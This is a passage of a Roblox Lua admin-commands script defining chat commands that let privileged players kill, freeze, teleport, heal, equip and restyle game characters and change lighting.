  1054. sword.GripPos = Vector3.new(0,0,-1.5)
  1055. sword.GripRight = Vector3.new(0,1,0)
  1056. sword.GripUp = Vector3.new(0,0,1)
  1057. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  1058. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  1059. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  1060. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1061. local Damage = 15
  1062. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  1063. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  1064. SlashSound.Volume = 1
  1065. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  1066. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  1067. LungeSound.Volume = 1
  1068. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  1069. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  1070. UnsheathSound.Volume = 1
  1071. local last = 0
  1072. script.Parent.Handle.Touched:connect(function(hit)
  1073. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  1074. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  1075. hit.Parent.Humanoid:TakeDamage(Damage)
  1076. end
  1077. end)
  1078. script.Parent.Activated:connect(function()
  1079. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  1080. script.Parent.Enabled = false
  1081. local tick = game:service("RunService").Stepped:wait()
  1082. if tick - last <= .2 then
  1083. LungeSound:play()
  1084. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  1085. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  1086. wait(.2)
  1087. script.Parent.GripForward = Vector3.new(0,0,1)
  1088. script.Parent.GripRight = Vector3.new(0,-1,0)
  1089. script.Parent.GripUp = Vector3.new(-1,0,0)
  1090. wait(.3)
  1091. frc:Destroy() wait(.5)
  1092. script.Parent.GripForward = Vector3.new(-1,0,0)
  1093. script.Parent.GripRight = Vector3.new(0,1,0)
  1094. script.Parent.GripUp = Vector3.new(0,0,1)
  1095. else
  1096. SlashSound:play()
  1097. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  1098. end
  1099. last = tick
  1100. script.Parent.Enabled = true
  1101. end)
  1102. script.Parent.Equipped:connect(function(mouse)
  1103. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  1104. UnsheathSound:play()
  1105. script.Parent.Enabled = true
  1106. if not mouse then return end
  1107. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  1108. end)]] cl.Disabled = false
  1109. end
  1110. end))
  1111. end
  1112. end
  1113.  
  1114. if msg:lower():sub(1,5) == "kill " then
  1115. local plrz = GetPlr(plr, msg:lower():sub(6))
  1116. for i, v in pairs(plrz) do
  1117. coroutine.resume(coroutine.create(function()
  1118. if v and v.Character then v.Character:BreakJoints() end
  1119. end))
  1120. end
  1121. end
  1122.  
  1123. if msg:lower():sub(1,8) == "respawn " then
  1124. local plrz = GetPlr(plr, msg:lower():sub(9))
  1125. for i, v in pairs(plrz) do
  1126. coroutine.resume(coroutine.create(function()
  1127. if v and v.Character then v:LoadCharacter() end
  1128. end))
  1129. end
  1130. end
  1131.  
  1132. if msg:lower():sub(1,5) == "trip " then
  1133. local plrz = GetPlr(plr, msg:lower():sub(6))
  1134. for i, v in pairs(plrz) do
  1135. coroutine.resume(coroutine.create(function()
  1136. if v and v.Character and v.Character:findFirstChild("Torso") then
  1137. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  1138. end
  1139. end))
  1140. end
  1141. end
  1142.  
  1143. if msg:lower():sub(1,5) == "stun " then
  1144. local plrz = GetPlr(plr, msg:lower():sub(6))
  1145. for i, v in pairs(plrz) do
  1146. coroutine.resume(coroutine.create(function()
  1147. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1148. v.Character.Humanoid.PlatformStand = true
  1149. end
  1150. end))
  1151. end
  1152. end
  1153.  
  1154. if msg:lower():sub(1,7) == "unstun " then
  1155. local plrz = GetPlr(plr, msg:lower():sub(8))
  1156. for i, v in pairs(plrz) do
  1157. coroutine.resume(coroutine.create(function()
  1158. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1159. v.Character.Humanoid.PlatformStand = false
  1160. end
  1161. end))
  1162. end
  1163. end
  1164.  
  1165. if msg:lower():sub(1,5) == "jump " then
  1166. local plrz = GetPlr(plr, msg:lower():sub(6))
  1167. for i, v in pairs(plrz) do
  1168. coroutine.resume(coroutine.create(function()
  1169. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1170. v.Character.Humanoid.Jump = true
  1171. end
  1172. end))
  1173. end
  1174. end
  1175.  
  1176. if msg:lower():sub(1,4) == "sit " then
  1177. local plrz = GetPlr(plr, msg:lower():sub(5))
  1178. for i, v in pairs(plrz) do
  1179. coroutine.resume(coroutine.create(function()
  1180. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1181. v.Character.Humanoid.Sit = true
  1182. end
  1183. end))
  1184. end
  1185. end
  1186.  
  1187. if msg:lower():sub(1,10) == "invisible " then
  1188. local plrz = GetPlr(plr, msg:lower():sub(11))
  1189. for i, v in pairs(plrz) do
  1190. coroutine.resume(coroutine.create(function()
  1191. if v and v.Character then
  1192. for a, obj in pairs(v.Character:children()) do
  1193. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  1194. end
  1195. end
  1196. end))
  1197. end
  1198. end
  1199.  
  1200. if msg:lower():sub(1,8) == "visible " then
  1201. local plrz = GetPlr(plr, msg:lower():sub(9))
  1202. for i, v in pairs(plrz) do
  1203. coroutine.resume(coroutine.create(function()
  1204. if v and v.Character then
  1205. for a, obj in pairs(v.Character:children()) do
  1206. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  1207. end
  1208. end
  1209. end))
  1210. end
  1211. end
  1212.  
  1213. if msg:lower():sub(1,5) == "lock " then
  1214. local plrz = GetPlr(plr, msg:lower():sub(6))
  1215. for i, v in pairs(plrz) do
  1216. coroutine.resume(coroutine.create(function()
  1217. if v and v.Character then
  1218. for a, obj in pairs(v.Character:children()) do
  1219. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  1220. end
  1221. end
  1222. end))
  1223. end
  1224. end
  1225.  
  1226. if msg:lower():sub(1,7) == "unlock " then
  1227. local plrz = GetPlr(plr, msg:lower():sub(8))
  1228. for i, v in pairs(plrz) do
  1229. coroutine.resume(coroutine.create(function()
  1230. if v and v.Character then
  1231. for a, obj in pairs(v.Character:children()) do
  1232. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  1233. end
  1234. end
  1235. end))
  1236. end
  1237. end
  1238.  
  1239. if msg:lower():sub(1,8) == "explode " then
  1240. local plrz = GetPlr(plr, msg:lower():sub(9))
  1241. for i, v in pairs(plrz) do
  1242. coroutine.resume(coroutine.create(function()
  1243. if v and v.Character and v.Character:findFirstChild("Torso") then
  1244. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  1245. end
  1246. end))
  1247. end
  1248. end
  1249.  
  1250. if msg:lower():sub(1,4) == "age " then
  1251. local plrz = GetPlr(plr, msg:lower():sub(5))
  1252. for i, v in pairs(plrz) do
  1253. coroutine.resume(coroutine.create(function()
  1254. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1255. end))
  1256. end
  1257. end
  1258.  
  1259. if msg:lower():sub(1,5) == "fire " then
  1260. local plrz = GetPlr(plr, msg:lower():sub(6))
  1261. for i, v in pairs(plrz) do
  1262. coroutine.resume(coroutine.create(function()
  1263. if v and v.Character and v.Character:findFirstChild("Torso") then
  1264. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1265. end
  1266. end))
  1267. end
  1268. end
  1269.  
  1270. if msg:lower():sub(1,7) == "unfire " then
  1271. local plrz = GetPlr(plr, msg:lower():sub(8))
  1272. for i, v in pairs(plrz) do
  1273. coroutine.resume(coroutine.create(function()
  1274. if v and v.Character and v.Character:findFirstChild("Torso") then
  1275. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1276. end
  1277. end))
  1278. end
  1279. end
  1280.  
  1281. if msg:lower():sub(1,6) == "smoke " then
  1282. local plrz = GetPlr(plr, msg:lower():sub(7))
  1283. for i, v in pairs(plrz) do
  1284. coroutine.resume(coroutine.create(function()
  1285. if v and v.Character and v.Character:findFirstChild("Torso") then
  1286. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1287. end
  1288. end))
  1289. end
  1290. end
  1291.  
  1292. if msg:lower():sub(1,8) == "unsmoke " then
  1293. local plrz = GetPlr(plr, msg:lower():sub(9))
  1294. for i, v in pairs(plrz) do
  1295. coroutine.resume(coroutine.create(function()
  1296. if v and v.Character and v.Character:findFirstChild("Torso") then
  1297. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1298. end
  1299. end))
  1300. end
  1301. end
  1302.  
  1303. if msg:lower():sub(1,9) == "sparkles " then
  1304. local plrz = GetPlr(plr, msg:lower():sub(10))
  1305. for i, v in pairs(plrz) do
  1306. coroutine.resume(coroutine.create(function()
  1307. if v and v.Character and v.Character:findFirstChild("Torso") then
  1308. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1309. end
  1310. end))
  1311. end
  1312. end
  1313.  
  1314. if msg:lower():sub(1,11) == "unsparkles " then
  1315. local plrz = GetPlr(plr, msg:lower():sub(12))
  1316. for i, v in pairs(plrz) do
  1317. coroutine.resume(coroutine.create(function()
  1318. if v and v.Character and v.Character:findFirstChild("Torso") then
  1319. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1320. end
  1321. end))
  1322. end
  1323. end
  1324.  
  1325. if msg:lower():sub(1,3) == "ff " then
  1326. local plrz = GetPlr(plr, msg:lower():sub(4))
  1327. for i, v in pairs(plrz) do
  1328. coroutine.resume(coroutine.create(function()
  1329. if v and v.Character then Instance.new("ForceField", v.Character) end
  1330. end))
  1331. end
  1332. end
  1333.  
  1334. if msg:lower():sub(1,5) == "unff " then
  1335. local plrz = GetPlr(plr, msg:lower():sub(6))
  1336. for i, v in pairs(plrz) do
  1337. coroutine.resume(coroutine.create(function()
  1338. if v and v.Character then
  1339. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1340. end
  1341. end))
  1342. end
  1343. end
  1344.  
  1345. if msg:lower():sub(1,7) == "punish " then
  1346. local plrz = GetPlr(plr, msg:lower():sub(8))
  1347. for i, v in pairs(plrz) do
  1348. coroutine.resume(coroutine.create(function()
  1349. if v and v.Character then
  1350. v.Character.Parent = game:service("Lighting")
  1351. end
  1352. end))
  1353. end
  1354. end
  1355.  
  1356. if msg:lower():sub(1,9) == "unpunish " then
  1357. local plrz = GetPlr(plr, msg:lower():sub(10))
  1358. for i, v in pairs(plrz) do
  1359. coroutine.resume(coroutine.create(function()
  1360. if v and v.Character then
  1361. v.Character.Parent = game:service("Workspace")
  1362. v.Character:MakeJoints()
  1363. end
  1364. end))
  1365. end
  1366. end
  1367.  
  1368. if msg:lower():sub(1,7) == "freeze " then
  1369. local plrz = GetPlr(plr, msg:lower():sub(8))
  1370. for i, v in pairs(plrz) do
  1371. coroutine.resume(coroutine.create(function()
  1372. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1373. for a, obj in pairs(v.Character:children()) do
  1374. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1375. end
  1376. end
  1377. end))
  1378. end
  1379. end
  1380.  
  1381. if msg:lower():sub(1,5) == "thaw " then
  1382. local plrz = GetPlr(plr, msg:lower():sub(6))
  1383. for i, v in pairs(plrz) do
  1384. coroutine.resume(coroutine.create(function()
  1385. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1386. for a, obj in pairs(v.Character:children()) do
  1387. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1388. end
  1389. end
  1390. end))
  1391. end
  1392. end
  1393.  
  1394. if msg:lower():sub(1,5) == "heal " then
  1395. local plrz = GetPlr(plr, msg:lower():sub(6))
  1396. for i, v in pairs(plrz) do
  1397. coroutine.resume(coroutine.create(function()
  1398. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1399. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1400. end
  1401. end))
  1402. end
  1403. end
  1404.  
  1405. if msg:lower():sub(1,4) == "god " then
  1406. local plrz = GetPlr(plr, msg:lower():sub(5))
  1407. for i, v in pairs(plrz) do
  1408. coroutine.resume(coroutine.create(function()
  1409. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1410. v.Character.Humanoid.MaxHealth = math.huge
  1411. v.Character.Humanoid.Health = 9e9
  1412. end
  1413. end))
  1414. end
  1415. end
  1416.  
  1417. if msg:lower():sub(1,6) == "ungod " then
  1418. local plrz = GetPlr(plr, msg:lower():sub(7))
  1419. for i, v in pairs(plrz) do
  1420. coroutine.resume(coroutine.create(function()
  1421. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1422. v.Character.Humanoid.MaxHealth = 100
  1423. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1424. end
  1425. end))
  1426. end
  1427. end
  1428.  
  1429. if msg:lower():sub(1,8) == "ambient " then
  1430. local chk1 = msg:lower():sub(9):find(" ") + 8
  1431. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1432. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1433. end
  1434.  
  1435. if msg:lower():sub(1,11) == "brightness " then
  1436. game.Lighting.Brightness = msg:sub(12)
  1437. end
  1438.  
  1439. if msg:lower():sub(1,5) == "time " then
  1440. game.Lighting.TimeOfDay = msg:sub(6)
  1441. end
  1442.  
  1443. if msg:lower():sub(1,9) == "fogcolor " then
  1444. local chk1 = msg:lower():sub(10):find(" ") + 9
  1445. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1446. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1447. end
  1448.  
  1449. if msg:lower():sub(1,7) == "fogend " then
  1450. game.Lighting.FogEnd = msg:sub(8)
  1451. end
  1452.  
  1453. if msg:lower():sub(1,9) == "fogstart " then
  1454. game.Lighting.FogStart = msg:sub(10)
  1455. end
  1456.  
  1457. if msg:lower():sub(1,7) == "btools " then
  1458. local plrz = GetPlr(plr, msg:lower():sub(8))
  1459. for i, v in pairs(plrz) do
  1460. coroutine.resume(coroutine.create(function()
  1461. if v and v:findFirstChild("Backpack") then
  1462. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1463. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1464. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1465. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1466. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1467. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1468. local sb
  1469. local hs
  1470. local pdist
  1471.  
  1472. script.Parent.Selected:connect(function(mouse)
  1473. if not mouse then return end
  1474. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1475. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1476. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1477. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1478. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1479. end)
  1480.  
  1481. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1482. end
  1483. end))
  1484. end
  1485. end
  1486.  
  1487. if msg:lower():sub(1,5) == "give " then
  1488. local chk1 = msg:lower():sub(6):find(" ") + 5
  1489. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1490. for i, v in pairs(plrz) do
  1491. coroutine.resume(coroutine.create(function()
  1492. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1493. for a, tool in pairs(game.Lighting:children()) do
  1494. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1495. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1496. end
  1497. end
  1498. end
  1499. end))
  1500. end
  1501. end
  1502.  
  1503. if msg:lower():sub(1,12) == "removetools " then
  1504. local plrz = GetPlr(plr, msg:lower():sub(13))
  1505. for i, v in pairs(plrz) do
  1506. coroutine.resume(coroutine.create(function()
  1507. if v and v.Character and v:findFirstChild("Backpack") then
  1508. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1509. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1510. end
  1511. end))
  1512. end
  1513. end
  1514.  
  1515. if msg:lower():sub(1,5) == "rank " then
  1516. local chk1 = msg:lower():sub(6):find(" ") + 5
  1517. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1518. for i, v in pairs(plrz) do
  1519. coroutine.resume(coroutine.create(function()
  1520. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1521. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1522. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1523. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1524. end
  1525. end))
  1526. end
  1527. end
  1528.  
  1529. if msg:lower():sub(1,7) == "damage " then
  1530. local chk1 = msg:lower():sub(8):find(" ") + 7
  1531. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1532. for i, v in pairs(plrz) do
  1533. coroutine.resume(coroutine.create(function()
  1534. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1535. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1536. end
  1537. end))
  1538. end
  1539. end
  1540.  
  1541. if msg:lower():sub(1,5) == "grav " then
  1542. local plrz = GetPlr(plr, msg:lower():sub(6))
  1543. for i, v in pairs(plrz) do
  1544. coroutine.resume(coroutine.create(function()
  1545. if v and v.Character and v.Character:findFirstChild("Torso") then
  1546. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1547. end
  1548. end))
  1549. end
  1550. end
  1551.  
  1552. if msg:lower():sub(1,8) == "setgrav " then
  1553. local chk1 = msg:lower():sub(9):find(" ") + 8
  1554. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1555. for i, v in pairs(plrz) do
  1556. coroutine.resume(coroutine.create(function()
  1557. if v and v.Character and v.Character:findFirstChild("Torso") then
  1558. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1559. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1560. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1561. end
  1562. end))
  1563. end
  1564. end
  1565.  
  1566. if msg:lower():sub(1,7) == "nograv " then
  1567. local plrz = GetPlr(plr, msg:lower():sub(8))
  1568. for i, v in pairs(plrz) do
  1569. coroutine.resume(coroutine.create(function()
  1570. if v and v.Character and v.Character:findFirstChild("Torso") then
  1571. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1572. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1573. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1574. end
  1575. end))
  1576. end
  1577. end
  1578.  
  1579. if msg:lower():sub(1,7) == "health " then
  1580. local chk1 = msg:lower():sub(8):find(" ") + 7
  1581. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1582. for i, v in pairs(plrz) do
  1583. coroutine.resume(coroutine.create(function()
  1584. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1585. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1586. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1587. end
  1588. end))
  1589. end
  1590. end
  1591.  
  1592. if msg:lower():sub(1,6) == "speed " then
  1593. local chk1 = msg:lower():sub(7):find(" ") + 6
  1594. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1595. for i, v in pairs(plrz) do
  1596. coroutine.resume(coroutine.create(function()
  1597. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1598. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1599. end
  1600. end))
  1601. end
  1602. end
  1603.  
  1604. if msg:lower():sub(1,5) == "team " then
  1605. local chk1 = msg:lower():sub(6):find(" ") + 5
  1606. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1607. for i, v in pairs(plrz) do
  1608. coroutine.resume(coroutine.create(function()
  1609. if v and game:findFirstChild("Teams") then
  1610. for a, tm in pairs(game.Teams:children()) do
  1611. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1612. end
  1613. end
  1614. end))
  1615. end
  1616. end
  1617.  
  1618. if msg:lower():sub(1,6) == "place " then
  1619. local chk1 = msg:lower():sub(7):find(" ") + 6
  1620. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1621. for i, v in pairs(plrz) do
  1622. coroutine.resume(coroutine.create(function()
  1623. if v and v:findFirstChild("PlayerGui") then
  1624. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1625. end
  1626. end))
  1627. end
  1628. end
  1629.  
  1630. if msg:lower():sub(1,3) == "tp " then
  1631. local chk1 = msg:lower():sub(4):find(" ") + 3
  1632. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1633. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1634. for i, v in pairs(plrz) do
  1635. coroutine.resume(coroutine.create(function()
  1636. for i2, v2 in pairs(plrz2) do
  1637. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1638. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1639. end
  1640. end
  1641. end))
  1642. end
  1643. end
  1644.  
  1645. if msg:lower():sub(1,7) == "change " then
  1646. local chk1 = msg:lower():sub(8):find(" ") + 7
  1647. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1648. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1649. for i, v in pairs(plrz) do
  1650. coroutine.resume(coroutine.create(function()
  1651. if v and v:findFirstChild("leaderstats") then
  1652. for a, st in pairs(v.leaderstats:children()) do
  1653. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1654. end
  1655. end
  1656. end))
  1657. end
  1658. end
  1659.  
  1660. if msg:lower():sub(1,6) == "shirt " then
  1661. local chk1 = msg:lower():sub(7):find(" ") + 6
  1662. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1663. for i, v in pairs(plrz) do
  1664. coroutine.resume(coroutine.create(function()
  1665. if v and v.Character then
  1666. for i,v in pairs(v.Character:children()) do
  1667. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1668. end
  1669. end
  1670. end))
  1671. end
  1672. end
  1673.  
  1674. if msg:lower():sub(1,6) == "pants " then
  1675. local chk1 = msg:lower():sub(7):find(" ") + 6
  1676. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1677. for i, v in pairs(plrz) do
  1678. coroutine.resume(coroutine.create(function()
  1679. if v and v.Character then
  1680. for i,v in pairs(v.Character:children()) do
  1681. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1682. end
  1683. end
  1684. end))
  1685. end
  1686. end
  1687.  
  1688. if msg:lower():sub(1,5) == "face " then
  1689. local chk1 = msg:lower():sub(6):find(" ") + 5
  1690. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1691. for i, v in pairs(plrz) do
  1692. coroutine.resume(coroutine.create(function()
  1693. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1694. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1695. end
  1696. end))
  1697. end
  1698. end
  1699.  
  1700. ------------------
  1701. -- Fun Commands --
  1702. ------------------
  1703. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1704.  
  1705. if msg:lower():sub(1,8) == "swagify " then
  1706. local plrz = GetPlr(plr, msg:lower():sub(9))
  1707. for i, v in pairs(plrz) do
  1708. coroutine.resume(coroutine.create(function()
  1709. if v and v.Character then
  1710. for i,v in pairs(v.Character:children()) do
  1711. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1712. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1713. end
  1714. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1715. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1716. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1717. local torso = plr.Character.Torso
  1718. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1719. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1720. p.Size = Vector3.new(.2,.2,.2)
  1721. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1722. local motor1 = Instance.new("Motor", p)
  1723. motor1.Part0 = p
  1724. motor1.Part1 = torso
  1725. motor1.MaxVelocity = .01
  1726. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1727. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1728. local wave = false
  1729. repeat wait(1/44)
  1730. local ang = 0.1
  1731. local oldmag = torso.Velocity.magnitude
  1732. local mv = .002
  1733. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1734. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1735. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1736. motor1.DesiredAngle = -ang
